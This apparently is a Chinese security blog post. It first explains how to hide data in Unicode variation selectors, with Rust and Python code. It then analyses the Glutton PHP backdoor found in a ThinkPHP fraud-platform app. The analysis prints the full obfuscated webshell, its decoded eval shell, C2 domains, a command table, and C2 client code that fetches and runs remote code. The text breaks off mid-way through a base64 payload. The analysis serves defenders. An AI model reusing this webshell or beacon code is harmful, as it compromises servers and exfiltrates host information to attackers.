Smuggling arbitrary data through an emoji | 通过emoji走私任意数据

https://paulbutler.org/2025/smuggling-arbitrary-data-through-an-emoji/

写了个python版本,感觉有人是会拿来比赛出题的。

Unicode 码点

Unicode 是计算机科学领域的一项业界标准,包括字符集和编码方案。它为每种语言中的每个字符设定了统一且唯一的二进制编码,通常用两个字节表示一个字符。Unicode 码点(Code Point)是指 Unicode 字符在 Unicode 字符集中的唯一编号。

Unicode 编码格式

Unicode 编码格式有多种,其中最常见的是 UTF-8UTF-16。UTF-8 是一种可变长度的编码方式,根据字符的不同范围使用不同长度的编码。例如:

  • 000000-00007F: 0xxxxxxx
  • 000080-0007FF: 110xxxxx 10xxxxxx
  • 000800-00FFFF: 1110xxxx 10xxxxxx 10xxxxxx
  • 010000-10FFFF: 11110xxx 10xxxxxx 10xxxxxx 10xxxxxx

Unicode 定义了 256 个代码点作为“变体选择器”,从 VS-1 到 VS-256。这些变体选择器本身没有可见的显示效果,但用于修改前一个字符的显示方式。例如,代码点 U+0067​(字符g​)后跟 U+FE01​(VS-2)仍然显示为小写g​,与单独的g​相同。但如果复制并粘贴该字符,变体选择器也会随之携带。

由于 256 足以表示一个字节,这为我们提供了一种在任何其他 unicode 代码点中“隐藏”一个字节数据的方法。

变体选择器

按照Paul Butler的思路,假设要编码字符串 "hello",其 ASCII 码为 [0x68, 0x65, 0x6c, 0x6c, 0x6f]​。可以将每个字节映射到一个变体选择器,然后将这些变体选择器附加到一个基字符(如空格或emoji)后面。例如,使用emoji符作为基字符,编码后的字符串可能看起来像一个普通的表情符号,但实际上包含了隐藏的数据。

变体选择器的代码点被分为两段:最初的 16 个在 U+FE00​ 到 U+FE0F​ 之间,其余的 240 个在 U+E0100​ 到 U+E01EF​ 之间。

要从字节转换为变体选择器,我们可以执行类似以下 Rust 代码的操作:

fn byte_to_variation_selector(byte: u8) -> char {
    if byte < 16 {
        char::from_u32(0xFE00 + byte as u32).unwrap()
    } else {
        char::from_u32(0xE0100 + (byte - 16) as u32).unwrap()
    }
}

然后,要编码一系列字节,我们可以在一个基础字符后面连接多个这样的变体选择器:

fn encode(base: char, bytes: &[u8]) -> String {
    let mut result = String::new();
    result.push(base);
    for byte in bytes {
        result.push(byte_to_variation_selector(*byte));
    }
    result
}

为了编码字节 [0x68, 0x65, 0x6c, 0x6c, 0x6f]​,我们可以运行以下代码:

fn main() {
    println!("{}", encode('😊', &[0x68, 0x65, 0x6c, 0x6c, 0x6f]));
}

输出就是:

😊󠅘󠅕󠅜󠅜󠅟

解码

fn variation_selector_to_byte(variation_selector: char) -> Option<u8> {
    let variation_selector = variation_selector as u32;
    if (0xFE00..=0xFE0F).contains(&variation_selector) {
        Some((variation_selector - 0xFE00) as u8)
    } else if (0xE0100..=0xE01EF).contains(&variation_selector) {
        Some((variation_selector - 0xE0100 + 16) as u8)
    } else {
        None
    }
}

fn decode(variation_selectors: &str) -> Vec<u8> {
    let mut result = Vec::new();

    for variation_selector in variation_selectors.chars() {
        if let Some(byte) = variation_selector_to_byte(variation_selector) {
            result.push(byte);
        } else if !result.is_empty() {
            return result;
        }
        // note: we ignore non-variation selectors until we have
        // encountered the first one, as a way of skipping the "base
        // character".
    }

    result
}

使用示例如下:

use std::str::from_utf8;

fn main() {
    let result = encode('😊', &[0x68, 0x65, 0x6c, 0x6c, 0x6f]);
    println!("{:?}", from_utf8(&decode(&result)).unwrap()); // "hello"
}

基字符(如空格或表情符号)不需要一定是emoji符号,任何 Unicode 字符都可以作为基字符。

image

python示例

encode

将字节(0-255​)转换为对应的变体选择器字符,判断字节大小并选择对应的变体选择器范围。将基字符和字节数组进行组合,依次生成编码后的字符串。

def byte_to_variation_selector(byte: int) -> str:
    """Converts a byte to a variation selector character."""
    if byte < 16:
        return chr(0xFE00 + byte)
    else:
        return chr(0xE0100 + (byte - 16))

def encode(base: str, bytes: list) -> str:
    """Encodes a base character with a list of bytes as variation selectors."""
    result = [base]
    for byte in bytes:
        result.append(byte_to_variation_selector(byte))
    return ''.join(result)

if __name__ == "__main__":
    base = ' '
    byte_sequence = [0x41, 0x6e, 0x64, 0x79, 0x4e, 0x6f, 0x65, 0x6c]
    encoded_str = encode(base, byte_sequence)
    print(encoded_str)

decode

解密思路就是将每个变体选择器字符映射回其对应的字节值,然后,编写一个函数,遍历输入字符串,提取所有有效的变体选择器字符,并将其转换为字节值。

def variation_selector_to_byte(variation_selector: str) -> int:
    code_point = ord(variation_selector)
    if 0xFE00 <= code_point <= 0xFE0F:
        return code_point - 0xFE00
    elif 0xE0100 <= code_point <= 0xE01EF:
        return code_point - 0xE0100 + 16
    else:
        raise ValueError(f"无效的变体选择器字符:{variation_selector}")
def decode(variation_selectors: str) -> bytes:
    result = bytearray()
    for char in variation_selectors:
        try:
            byte = variation_selector_to_byte(char)
            result.append(byte)
        except ValueError:
            if result:
                break
    return bytes(result)
encoded_str = ' 󠄱󠅞󠅔󠅩󠄾󠅟󠅕󠅜'
decoded_bytes = decode(encoded_str)
decoded_str = decoded_bytes.decode('utf-8')
print(decoded_str) 

The Analysis of l0ader_shell and Glutton’s client_task | 黑吃黑👍

黑白通吃:Glutton木马潜伏主流PHP框架,隐秘侵袭长达1年

以请求C2 cc.thinkphp1[.]com​做为被感染的标识,从我们的数据来看,受害者主要分布在中美俩地,涉及信息传输,商务服务,社会保障等行业。

image

在我们的溯源过程中,还发现了一个有意思的现象,Glutton的作者专门针对黑灰产的生产系统投毒,意图进行黑吃黑。时间回到2024年7月,我们以"b11st=0;"特征在VirusTotal进行狩猎,先后发现了5个被感染的文件,由不同的国家上传到VT。

Index MD5 DETECTION FIRST SEEN Country
1 3f8273575d4c75053110a3d237fda32c 2/65 2024.08.11 China
2 c1f6b7282408d4dfdc46e22bbdb3050f 0/59 2024.09.17 Germary
3 96fef42b234920f3eacfe718728b08a1 0/63 2024.10.14 SINGAPORE
4 ad150541a0a3e83b42da4752eb7e269b 1/62 2024.11.02 UNITED STATES
5 ad0d88982c7b297bb91bb9b4759ce0ab 4/41 2024.11.27 UNITED STATES

其中编号1,2,3是单个PHP文件;编号4,5为压缩包,包含一套完整的业务系统。它们之中最特别的是编号4,它是一套网络诈骗常用的刷单抢单系统,恶意代码l0ader_shell位于thinkphp框架中的APP.php。

l0ader_shell

分析一下l0ader_shell部分

 Hook::listen('app_init');
 ;$b11st=0;
 $l0ader=function($check){$sl=array(0x6578706c,0x6f646500,0x62617365,0x36345f64,0x65636f64,0x65006a73,0x6f6e5f64,0x65636f64,0x6500696d,0x706c6f64,0x65006172,0x7261795f,0x73686966,0x74007374,0x72726576,0x00737562,0x73747200,0x7374726c,0x656e0073,0x7472746f,0x6c6f7765,0x72006973,0x5f617272,0x61790070,0x6f736978,0x5f676574,0x70777569,0x64006765,0x745f6375,0x7272656e,0x745f7573,0x65720066,0x756e6374,0x696f6e5f,0x65786973,0x74730070,0x68705f73,0x6170695f,0x6e616d65,0x00706870,0x5f756e61,0x6d650070,0x68707665,0x7273696f,0x6e006765,0x74686f73,0x746e616d,0x65006677,0x72697465,0x0066696c,0x655f6765,0x745f636f,0x6e74656e,0x74730066,0x696c655f,0x7075745f,0x636f6e74,0x656e7473,0x00737472,0x65616d5f,0x736f636b,0x65745f63,0x6c69656e,0x74007379,0x735f6765,0x745f7465,0x6d705f64,0x69720070,0x6f736978,0x5f676574,0x75696400,0x63686d6f,0x64007469,0x6d650064,0x6566696e,0x65640063,0x6f6e7374,0x616e7400,0x696e695f,0x67657400,0x67657463,0x77640069,0x6e747661,0x6c00677a,0x756e636f,0x6d707265,0x73730068,0x7474705f,0x6275696c,0x645f7175,0x65727900,0x70636e74,0x6c5f666f,0x726b0070,0x636e746c,0x5f776169,0x74706964,0x00706f73,0x69785f73,0x65747369,0x6400636c,0x695f7365,0x745f7072,0x6f636573,0x735f7469,0x746c6500,0x66636c6f,0x73650073,0x6c656570,0x00756e6c,0x696e6b00,0x69676e6f,0x72655f75,0x7365725f,0x61626f72,0x74007265,0x67697374,0x65725f73,0x68757464,0x6f776e5f,0x66756e63,0x74696f6e,0x00736574,0x5f657272,0x6f725f68,0x616e646c,0x65720065,0x72726f72,0x5f726570,0x6f727469,0x6e670066,0x61737463,0x67695f66,0x696e6973,0x685f7265,0x71756573,0x74006973,0x5f726573,0x6f757263,0x65000050,0x44397761,0x48416761,0x57596f49,0x575a3162,0x6d4e3061,0x57397558,0x32563461,0x584e3063,0x79676958,0x31397964,0x57356659,0x32396b5a,0x5639344d,0x6a41694b,0x536c375a,0x6e567559,0x33527062,0x32346758,0x31397964,0x57356659,0x32396b5a,0x5639344d,0x6a416f4a,0x474d7065,0x79526b49,0x4430675a,0x585a6862,0x43676b59,0x796b374a,0x47453959,0x584a7959,0x586b6f4a,0x4751704f,0x334a6c64,0x48567962,0x69426863,0x6e4a6865,0x56397a61,0x476c6d64,0x43676b59,0x536b3766,0x58303700,0x5f5f7275,0x6e5f636f,0x64655f78,0x3230002f,0x73657373,0x5f7a7a69,0x75646272,0x6f726b64,0x61646869,0x70393076,0x396a6d6a,0x00fef100,0x01006457,0x52774f69,0x3876646a,0x49774c6e,0x526f6157,0x35726347,0x68774d53,0x356a6232,0x30364f54,0x6b344f41,0x3d3d0061,0x48523063,0x446f764c,0x3359794d,0x43353061,0x476c7561,0x33426f63,0x44457559,0x3239744c,0x3359794d,0x43397062,0x6d6c3050,0x773d3d00,0x6e6f6368,0x65636b30,0x00643200,0x69007500,0x74006869,0x64007069,0x6400636c,0x69007769,0x6e005048,0x505f4f53,0x006e616d,0x65005553,0x45520044,0x4f43554d,0x454e545f,0x524f4f54,0x00646973,0x61626c65,0x5f66756e,0x6374696f,0x6e730048,0x5454505f,0x434f4f4b,0x49450048,0x5454505f,0x484f5354,0x00534352,0x4950545f,0x4e414d45,0x00524551,0x55455354,0x5f555249,0x006c7600,0x677a0075,0x64005732,0x74336233,0x4a725a58,0x49764d44,0x6f775345,0x35640053,0x54444f55,0x54005354,0x44455252,0x00000000);;$r=false;foreach($sl as $d)$r.=chr($d>>24).chr($d>>16).chr($d>>8).chr($d);$f=substr($r,0,7);$f=$f(chr(0),$r);$g=$GLOBALS;$r=$_REQUEST;$s=$_SERVER;$l1i=isset($r[$f[54]])?$l1i=@$r[$f[54]]:0;$l1i&&$l1i=@$f[2]($f[1]($f[5]($l1i)));if($l1i&&$f[9]($l1i)){$w=$f[4]($l1i);$fu=$f[4]($l1i);die($w($fu==$f[55]?include($l1i[0]):$fu($l1i[0],$l1i[1])));}$uid=$f[12]($f[22])?@$f[22]():-1;$cli=($f[13]()==$f[60]);$os=$f[25]($f[62])?$f[26]($f[62]):$f[45];$sfile=$f[48];$sfile[2]='s';$sfile[3]='e';$sfile=$f[21]().$sfile;$pfile=$f[21]().$f[48];if( $f[8]($f[6]($os,0,3))==$f[61] ){$pfile.=$f[11]();$sfile.=$f[11]();}$hu=isset($s[$f[64]])?$s[$f[64]]:$f[11]();if($f[12]($f[10])&&$uid!=-1){$pu=$f[10]($uid);$hu=$pu?($pu[$f[63]]?:$hu):$hu;};$hid = @$f[29]($f[18]($sfile.$f[58]));$pid = @$f[29]($f[18]($sfile.$f[59]));$pwd = $cli?$f[28]():$s[$f[65]];$extra=$cli?$f[27]($f[66]):@$s[$f[67]];$extra=$extra?$f[6]($extra,0,1024):$f[45];$hv=substr($f[14](),0,128);$uri=@$s[$f[70]];$uri=$uri?$f[6]($uri,0,128):$f[45];$rdata=array(chr(22),$os,$f[16](),$hv,$uid,$hu,$hid,$pid?:$f[29]("5474"),$f[13](),$f[15](),$pwd,@$s[$f[68]],@$s[$f[69]],$uri,$extra);$tf=$pfile.$f[56].$f[29]($cli).$f[29]($uid===0);if($check && !@$r[$f[53]] && $f[24]()<@$f[29]($f[18]($tf)))return;$ok=(@$f[19]($tf,$f[24]()+7200)>0);@$f[23]($tf,0666);if($f[12]($f[20])){$ud=$f[6]($f[3](chr(0),$rdata),0,1400);@$f[17]($f[20]($f[1]($f[51]),$e1s, $e2s,5),$f[49].$f[50].$ud);}if(!$ok)return;$tf=$pfile.$f[55].$f[29]($cli).$f[29]($uid===0);if($check && !@$r[$f[53]] && $f[24]()<@$f[29]($f[18]($tf)))return;$a=array($pfile);if(@$f[19]($a[0],$f[1]($f[46]))>0){@include_once($pfile);}else{@$f[38]($a[0]);return;};@$f[38]($a[0]);$gz=$f[12]($f[30]);$go=function($lv)use($f,$gz,$rdata,$sfile){try{$rdata[6]=@$f[29]($f[18]($sfile.$f[58]));$rdata[7]=@$f[29]($f[18]($sfile.$f[59]));$d=@$f[31](array($f[73]=>$f[50].$f[3](chr(0),$rdata),$f[71]=>$lv,$f[72]=>$gz,$f[57]=>$f[24]()));$data=@$f[18]($f[1]($f[52]).$d);if($data && $gz)$data=@$f[30]($data);if($data)@$f[47]($data);return true;}catch(\Exception $e){}catch(\Throwable $e){}};if($cli){$hwai=$f[12]($f[33]);$pid=-1;if($f[12]($f[32]))$pid=$f[32]();if($pid<0){$go(3);return;}if($pid>0){return $hwai&&$f[33]($pid,$s);}if($hwai && $f[32]() )die;if($f[12]($f[34]))@$f[34]();if($f[12]($f[35]))@$f[35]($f[1]($f[74]));try{if($f[25]($f[75]))@$f[36]($f[26]($f[75]));if($f[25]($f[76]))@$f[36]($f[26]($f[76]));}catch(\Exception $e){}catch(\Throwable $e){};$nt0=0;do{if($f[24]()>$nt0){$nt0=$f[24]()+3600;@$f[19]($tf,$f[24]()+7200);@$go(4);}$f[37](60);}while(1);die;}else{$f[39](true);$f[40](function() use($f,$go){$f[41](function(){});$f[42](0);if($f[12]($f[43])){$f[43]();$go(2);}else{$go(1);}});}};set_error_handler(function(){});$error1=error_reporting();error_reporting(0);try{@$l0ader(true);}catch(\Exception $e){}catch(\Throwable $e){}error_reporting($error1);restore_error_handler();
 ;$b11ed=0;

这段webshell核心步骤为$r.=chr($d>>24).chr($d>>16).chr($d>>8).chr($d);​将 $sl​ 十六进制数字定义的数组分成 4 个字节转换为字符,然后解码后的字符串被存储在 $f​ 中。通过 $f[index]​ 调用了 PHP 内置函数

下面我们对上面webshell进行解密:

我们追踪一下$check​函数:

$check = !is_null(self::$routeCheck) ? self::$routeCheck : $config['url_route_on'];

如果 self::$routeCheck​ 非空,则 $check​ 取其值;否则取 $config['url_route_on']​,相当于控制 Webshell 执行流程的一个开关,最终会影响 @$l0ader(true)​ 的执行。

Webshell执行逻辑:

if ($check && !@$r[$f[53]] && $f[24]() < @$f[29]($f[18]($tf))) return;
$ok = (@$f[19]($tf, $f[24]() + 7200) > 0);

检查 $tf​ 文件是否在有效时间范围内(当前时间小于文件时间戳),并设置有效期为 2小时​。如果 $check​ 条件满足且时间戳验证不过,则代码将提前返回;如果时间戳检查通过,则代码依赖 $go​ 函数继续运行

webshell的持久化

if ($cli) {
    $hwai = $f[12]($f[33]);
    if ($hwai && $f[32]()) die;
    if ($f[12]($f[34])) @$f[34]();
    do {
        @$go(4);
        $f while (1);
    die;
} else {
    @$f[38]($a[0]);
}

如果在 CLI 模式下调用 $go​ 执行任务,每 60 秒循环一次,实现持久化控制。

$go​函数:

$go = function ($lv) use ($f, $gz, $rdata, $sfile) {
    try {
        $rdata[6] = @$f[29]($f[18]($sfile . $f[58]));
        $rdata[7] = @$f[29]($f[18]($sfile . $f[59]));
        $d = @$f[31](array(
            $f[73] => $f[50] . $f[3](chr(0), $rdata),
            $f[71] => $lv,
            $f[72] => $gz,
            $f[57] => $f[24]()
        ));
        $data = @$f[18]($f[1]($f[52]) . $d);
        if ($data && $gz) $data = @$f[30]($data);
        if ($data) @$f[47]($data);
        return true;
    } catch (\Exception $e) {
    } catch (\Throwable $e) {
    }
};

跳转到$lv

$d=@$f[31](array($f[73]=>$f[50].$f[3](chr(0),$rdata),$f[71]=>$lv,$f[72]=>$gz,$f[57]=>$f[24]()));

文件操作与回调:

if (@$f[19]($a[0], $f[1]($f[46])) > 0) {
    @include_once($pfile);
} else {
    @$f[38]($a[0]);
    return;
}

所以我们关键就是解码 $sl​ 数组,以获得 $f​ 内容。

按照逻辑编写PHP解密脚本:

<?php
$sl = [0x6578706c,0x6f646500,0x62617365,0x36345f64,0x65636f64,0x65006a73,0x6f6e5f64,0x65636f64,0x6500696d,0x706c6f64,0x65006172,0x7261795f,0x73686966,0x74007374,0x72726576,0x00737562,0x73747200,0x7374726c,0x656e0073,0x7472746f,0x6c6f7765,0x72006973,0x5f617272,0x61790070,0x6f736978,0x5f676574,0x70777569,0x64006765,0x745f6375,0x7272656e,0x745f7573,0x65720066,0x756e6374,0x696f6e5f,0x65786973,0x74730070,0x68705f73,0x6170695f,0x6e616d65,0x00706870,0x5f756e61,0x6d650070,0x68707665,0x7273696f,0x6e006765,0x74686f73,0x746e616d,0x65006677,0x72697465,0x0066696c,0x655f6765,0x745f636f,0x6e74656e,0x74730066,0x696c655f,0x7075745f,0x636f6e74,0x656e7473,0x00737472,0x65616d5f,0x736f636b,0x65745f63,0x6c69656e,0x74007379,0x735f6765,0x745f7465,0x6d705f64,0x69720070,0x6f736978,0x5f676574,0x75696400,0x63686d6f,0x64007469,0x6d650064,0x6566696e,0x65640063,0x6f6e7374,0x616e7400,0x696e695f,0x67657400,0x67657463,0x77640069,0x6e747661,0x6c00677a,0x756e636f,0x6d707265,0x73730068,0x7474705f,0x6275696c,0x645f7175,0x65727900,0x70636e74,0x6c5f666f,0x726b0070,0x636e746c,0x5f776169,0x74706964,0x00706f73,0x69785f73,0x65747369,0x6400636c,0x695f7365,0x745f7072,0x6f636573,0x735f7469,0x746c6500,0x66636c6f,0x73650073,0x6c656570,0x00756e6c,0x696e6b00,0x69676e6f,0x72655f75,0x7365725f,0x61626f72,0x74007265,0x67697374,0x65725f73,0x68757464,0x6f776e5f,0x66756e63,0x74696f6e,0x00736574,0x5f657272,0x6f725f68,0x616e646c,0x65720065,0x72726f72,0x5f726570,0x6f727469,0x6e670066,0x61737463,0x67695f66,0x696e6973,0x685f7265,0x71756573,0x74006973,0x5f726573,0x6f757263,0x65000050,0x44397761,0x48416761,0x57596f49,0x575a3162,0x6d4e3061,0x57397558,0x32563461,0x584e3063,0x79676958,0x31397964,0x57356659,0x32396b5a,0x5639344d,0x6a41694b,0x536c375a,0x6e567559,0x33527062,0x32346758,0x31397964,0x57356659,0x32396b5a,0x5639344d,0x6a416f4a,0x474d7065,0x79526b49,0x4430675a,0x585a6862,0x43676b59,0x796b374a,0x47453959,0x584a7959,0x586b6f4a,0x4751704f,0x334a6c64,0x48567962,0x69426863,0x6e4a6865,0x56397a61,0x476c6d64,0x43676b59,0x536b3766,0x58303700,0x5f5f7275,0x6e5f636f,0x64655f78,0x3230002f,0x73657373,0x5f7a7a69,0x75646272,0x6f726b64,0x61646869,0x70393076,0x396a6d6a,0x00fef100,0x01006457,0x52774f69,0x3876646a,0x49774c6e,0x526f6157,0x35726347,0x68774d53,0x356a6232,0x30364f54,0x6b344f41,0x3d3d0061,0x48523063,0x446f764c,0x3359794d,0x43353061,0x476c7561,0x33426f63,0x44457559,0x3239744c,0x3359794d,0x43397062,0x6d6c3050,0x773d3d00,0x6e6f6368,0x65636b30,0x00643200,0x69007500,0x74006869,0x64007069,0x6400636c,0x69007769,0x6e005048,0x505f4f53,0x006e616d,0x65005553,0x45520044,0x4f43554d,0x454e545f,0x524f4f54,0x00646973,0x61626c65,0x5f66756e,0x6374696f,0x6e730048,0x5454505f,0x434f4f4b,0x49450048,0x5454505f,0x484f5354,0x00534352,0x4950545f,0x4e414d45,0x00524551,0x55455354,0x5f555249,0x006c7600,0x677a0075,0x64005732,0x74336233,0x4a725a58,0x49764d44,0x6f775345,0x35640053,0x54444f55,0x54005354,0x44455252,0x00000000];
$r = '';

foreach ($sl as $d) {
    $decoded = chr($d >> 24) . chr($d >> 16) . chr($d >> 8) . chr($d);
    $r .= $decoded . "\n";
}

echo $r;
?>

image

后面还有base64,解密一下:

image

一个shell:

<?php 
if(!function_exists("__run_code_x20")) {
    function __run_code_x20($c) {
        $d = eval($c);
        $a=array($d);
        return array_shift($a);
    }
};

以及解密出的域名

image

image

此外:

image

应该是 Linux 系统中内核工作线程(Kernel Worker Thread)的一个标识

webshell最后是其保护机制:

set_error_handler(function() {});
$error1 = error_reporting();
error_reporting(0);
try {
    @$l0ader(true);
} catch (\Exception $e) {}
error_reporting($error1);
restore_error_handler();

屏蔽错误输出,将所有错误报告设置为 0,防止调试信息泄露。

Glutton's client_task

PHP后门

根据域名,我们进行反查样本,发现Glutton webshell的client_task​模块

image

image

image

和我们之前PHP解密内容相符

其中,client_socket​类将C2地址明文写入

class client_socket
{
    public $show_log=0;
    public $support_udp=1;

    private $socket_handle=null;
    private $is_tcp=false;
    protected $sid=0;
    protected $server_id=0;

    public $sleep_mode=0;
    private $config_keepalive_time=60;

    private $__last_send_time=0;
    private $__last_recv_time=0;

    public $tcp_uri='tcp://cc.thinkphp1.com:9501';
    public $udp_uri='udp://cc.thinkphp1.com:9501';

    private $__cache_packet=array();
    public function login($use_tcp=null)
    {
        $this->sid=0;

        if($use_tcp===null)
        {
            if(!$this->touch())return false;
        }else
        {
            $this->close();
            if(!$this->connect($use_tcp))return false;
            $this->set_timeout(5);          
        }
        $this->set_timeout(10);
        if(!$this->send_packet(10,s2go_make_login_packet(),false))return false;

        $packet=$this->read_packet();
        if(!$packet || $packet['cmd']!=148)
        {
            $this->log_msg("login return !cmd_config");
            $this->close();
            return false;
        }
        $this->process_packet($packet);

        if($this->sid>0)
        {
            $this->log_msg("login success,tcp={$this->is_tcp},sid={$this->sid},server_id={$this->server_id}");
        }

        return $this->sid>0;
    }

client_v1​类继承client_socket​,通过process_std_cmd_v1​类处理C2下发的指令。


class client_v1 extends client_socket
{
    public $std_method;
    public $is_winnt=false;

    public function __construct() {
        $this->std_method=new process_std_cmd_v1();
        $this->is_winnt=(substr(strtolower(PHP_OS),0,3)=='win');
    }

image

通过控制$cmd​来执行操作,如获取文件夹名称、获取当前文件列表、创建文件夹等,我们可以批量查找$cmd==​来确定其功能,注意if else循环

这个php后门支持22个不同的指令,以下为指令号以及对应的功能。

ID Function
1 ping(udp only)
2 pong(udp only)
10 login
31 keepalive
148 set connection config
149 switch connection to tcp
150 switch connection to udp
151 shell
152 upload/download file via tcp
189 get_temp_dir
190 scandir
191 get dir info
192 mkdir
193 write file
194 read file
195 create file
196 rm
197 copy file
198 rename file
199 chmod
200 chown
201 eval php code

通过劫持到的通信样本,我们可以分析其主动向服务器发送的信息:

http://v20.thinkphp1.com:80/v20/save?host_id=6144&host_uid=-1&sapi_name=cli&php_version=5.4.16&host_version=Linux+localhost+3.10.0-862.el7.x86_64+%231+SMP+Fri+Apr+20+16%3A44%3A24+UTC+2018+x86_64&host_os=Linux&host_name=localhost

发现含有 host_id​ 、host_uid​ 、 php_version​ 、 host_version​ 、 host_os​ 、 host_name

private function fetch_code_and_run()
{
    if(time()<$this->next_fetch_time)return '';
    $this->next_fetch_time=time()+3600;
    if(function_exists("exec"))exec("ps -ef|grep kworker/0:0HN |grep -v grep|awk '{print $2}'|xargs kill");

    if( $this->fetch_task->run_in_fork() )return true;

    $code='aWYoIWNsYXNzX2V4aXN0cygiZmV0Y2hfdGFzayIpKQ0Kew0KICAgIGNsYXNzIGZldGNoX3Rhc2sNCiAgICB7DQogICAgICAgIHByaXZhdGUgJGlzX3Jvb3Q9ZmFsc2U7DQoNCiAgICAgICAgcHVibGljIGZ1bmN0aW9uIF9fY29uc3RydWN0KCkNCiAgICAgICAgew0KICAgICAgICAgICAgJHVpZD1mdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldHVpZCIpP3Bvc2l4X2dldHVpZCgpOi0xOw0KICAgICAgICAgICAgJHRoaXMtPmlzX3Jvb3Q9KCR1aWQ9PT0wKTsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgcHVibGljIGZ1bmN0aW9uIHJ1bl9pbl9mb3JrKCkNCiAgICAgICAgew0KICAgICAgICAgICAgaWYoIWZ1bmN0aW9uX2V4aXN0cygicGNudGxfZm9yayIpIHx8ICFmdW5jdGlvbl9leGlzdHMoInBjbnRsX3dhaXRwaWQiKSApcmV0dXJuIGZhbHNlOw0KDQogICAgICAgICAgICAkY29kZT0kdGhpcy0+ZmV0Y2goKTsNCiAgICAgICAgICAgICR0aGlzLT5fX3dyaXRlX3Rhc2tfdGltZV9maWxlKHRydWUpOw0KICAgICAgICAgICAgaWYoISRjb2RlKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgIHJldHVybiB0cnVlOw0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAkcGlkPXBjbnRsX2ZvcmsoKTsNCiAgICAgICAgICAgIGlmKCRwaWQ9PTApDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgaWYocGNudGxfZm9yaygpKWV4aXQoMCk7DQogICAgICAgICAgICAgICAgdHJ5ew0KICAgICAgICAgICAgICAgICAgICBAZXZhbCgkY29kZSk7DQogICAgICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgIH1jYXRjaChcRXhjZXB0aW9uICRlKXskdGhpcy0+cG9zdF9lcnJvcigkZSk7fWNhdGNoKFxUaHJvd2FibGUgJGUpeyR0aGlzLT5wb3N0X2Vycm9yKCRlKTt9DQogICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgZXhpdCgwKTsNCiAgICAgICAgICAgIH1lbHNlIGlmKCRwaWQ+MCkNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICBwY250bF93YWl0cGlkKCRwaWQsJHMpOw0KICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgcmV0dXJuIHRydWU7DQogICAgICAgICAgICB9ZWxzZSBpZigkcGlkPDApDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQoNCiAgICAgICAgcHVibGljIHN0YXRpYyBmdW5jdGlvbiBydW5fc3RhdGljKCkNCiAgICAgICAgew0KICAgICAgICAgICAgJHRhc2s9bmV3IGZldGNoX3Rhc2soKTsNCiAgICAgICAgICAgICRjb2RlPSR0YXNrLT5mZXRjaCgpOw0KICAgICAgICAgICAgJHRhc2stPl9fd3JpdGVfdGFza190aW1lX2ZpbGUodHJ1ZSk7DQogICAgICAgICAgICBpZighJGNvZGUpcmV0dXJuIHRydWU7DQoNCiAgICAgICAgICAgIHRyeXsNCiAgICAgICAgICAgICAgICBAZXZhbCgkY29kZSk7DQogICAgICAgICAgICAgICAgDQogICAgICAgICAgICB9Y2F0Y2goXEV4Y2VwdGlvbiAkZSl7JHRhc2stPnBvc3RfZXJyb3IoJGUpO31jYXRjaChcVGhyb3dhYmxlICRlKXskdGFzay0+cG9zdF9lcnJvcigkZSk7fQ0KICAgICAgICAgICAgDQogICAgICAgICAgICByZXR1cm4gdHJ1ZTsNCiAgICAgICAgfQ0KDQogICAgICAgIGZ1bmN0aW9uIG1ha2VfYmFzZV9wYXJhbXMoKQ0KICAgICAgICB7DQoNCiAgICAgICAgICAgICRzbmFtZT1waHBfc2FwaV9uYW1lKCk7DQogICAgICAgIA0KICAgICAgICAgICAgJHVpZD1mdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldHVpZCIpP3Bvc2l4X2dldHVpZCgpOi0xOw0KICAgICAgICAgICAgJG9zPWRlZmluZWQoIlBIUF9PUyIpP0Bjb25zdGFudCgiUEhQX09TIik6IiI7DQogICAgICAgICAgICAkdXNlcj1nZXRlbnYoJ1VTRVInKSA/OiBnZXRfY3VycmVudF91c2VyKCk/OmdldGVudignVVNFUk5BTUUnKTsNCg0KICAgICAgICAgICAgJHNmaWxlPScvc2Vzc196eml1ZGJyb3JrZGFkaGlwOTB2OWptaic7JHNmaWxlWzJdPSdzJzskc2ZpbGVbM109J2UnOw0KICAgICAgICAgICAgJHNmaWxlPXN5c19nZXRfdGVtcF9kaXIoKS4kc2ZpbGU7DQogICAgDQogICAgICAgICAgICAkcGZpbGU9c3lzX2dldF90ZW1wX2RpcigpLicvc2Vzc196eml1ZGJyb3JrZGFkaGlwOTB2OWptaic7DQogICAgICAgICAgICAkaXNfd2luPSggc3RydG9sb3dlcihzdWJzdHIoJG9zLCAwLCAzKSk9PSJ3aW4iICk7DQogICAgICAgICAgICBpZigkaXNfd2luJiYkdXNlcikNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAkcGZpbGUuPSR1c2VyOw0KICAgICAgICAgICAgICAgICRzZmlsZS49JHVzZXI7DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkaGlkID0gQGludHZhbChmaWxlX2dldF9jb250ZW50cygkc2ZpbGUuImhpZCIpKTsNCiAgICAgICAgICAgIGlmKCEkaGlkKSRoaWQgPSBAaW50dmFsKGZpbGVfZ2V0X2NvbnRlbnRzKCRwZmlsZS4iaGlkIikpOw0KICAgICAgICAgICAgDQogICAgICAgICAgICAkaGRhdGE9YXJyYXkoImhvc3RfaWQiPT4kaGlkLCJob3N0X3VpZCI9PiR1aWQsImhvc3RfdmVyc2lvbiI9PnBocF91bmFtZSgpLCJob3N0X29zIj0+JG9zLCJob3N0X25hbWUiPT5nZXRob3N0bmFtZSgpLCJzYXBpX25hbWUiPT4kc25hbWUsInBocF92ZXJzaW9uIj0+cGhwdmVyc2lvbigpKTsNCiAgICAgICAgICAgIHJldHVybiAkaGRhdGE7ICAgICAgICAgICANCiAgICAgICAgfQ0KDQogICAgICAgIHByaXZhdGUgJG5leHRfZXJyb3JfdGltZT0wOw0KICAgICAgICBmdW5jdGlvbiBwb3N0X2Vycm9yKCRlKQ0KICAgICAgICB7DQogICAgICAgICAgICBpZih0aW1lKCk8JHRoaXMtPm5leHRfZXJyb3JfdGltZSl